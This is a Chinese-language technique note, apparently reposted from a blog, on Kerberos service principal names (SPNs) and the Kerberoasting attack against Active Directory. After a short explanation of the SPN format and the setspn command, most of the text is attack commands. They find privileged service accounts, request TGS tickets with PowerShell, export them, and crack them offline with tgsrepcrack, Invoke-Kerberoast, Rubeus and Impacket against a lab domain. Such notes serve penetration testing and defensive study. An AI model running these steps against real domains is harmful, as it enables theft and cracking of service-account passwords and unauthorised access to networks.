Kerberos&SPN、Kerberoasting

SPN简介

SPN是服务器上所运行服务的唯一标识,每个使用kerberos的服务都需要一个SPN;一种注册在AD上机器账户下,另一种注册在域用户下,当一个服务权限为localsystem或者networkservice,则SPN注册在机器账户Computers下,当一个机器服务的权限为一个域用户,则SPN注册在域用户账户Users下

格式:
serviceclass/host:port/servicename
serviceclass:服务名称,如smtp、dns等等
host:FQDN&NETBIOS,如serversmtp.test.com&serversmtp
如果服务运行在默认端口则端口可以省略

注册

setspn -A mysql/OWA2013.rootkit.org:3306  backup
注册一个名为mysql的SPN,分配至backup用户

setspn -S mysql/OWA2013.rootkit.org:3306  backup
验证SPN不存在重复项后进行添加、该参数是用server08后系统开始默认提供

SPN查询

已知SPN也是通过ldap查询的,当前用户也必须是域用户或者机器用户
setspn -q */*
setspn -T rootkit.org -q */*

关于域用户&机器用户注册的SPN,如下分别即可

确认调用ldap协议

Kerberoasting利用

获得SPN修改权限后,能够为指定的域用户添加一个SPN,这样就可以随时获得目标的TGS,通过破解hash能够获得其用户口令

寻找有价值的SPN

注意这个模块只有域控上才有
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

powerview同样可查
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

kerberoast
powershell: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
vbs: https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

获得指定服务TGS

$SPNName = 'MSSQLSvc/Srv-Web-Kit.rootkit.org'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

导出凭证

获得所以服务TGS
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

破解凭证

tgsrepcrack

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
python3 tgsrepcrack.py 字典.txt 凭证.kirbi

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

Rubeus

Rubeus.exe kerberoast

Impacket

GetUserSPNs_windows.exe -request -dc-ip 192.168.3.144 -debug rootkit.org/sqladmin

原文地址:https://www.cnblogs.com/Yang34/p/14278011.html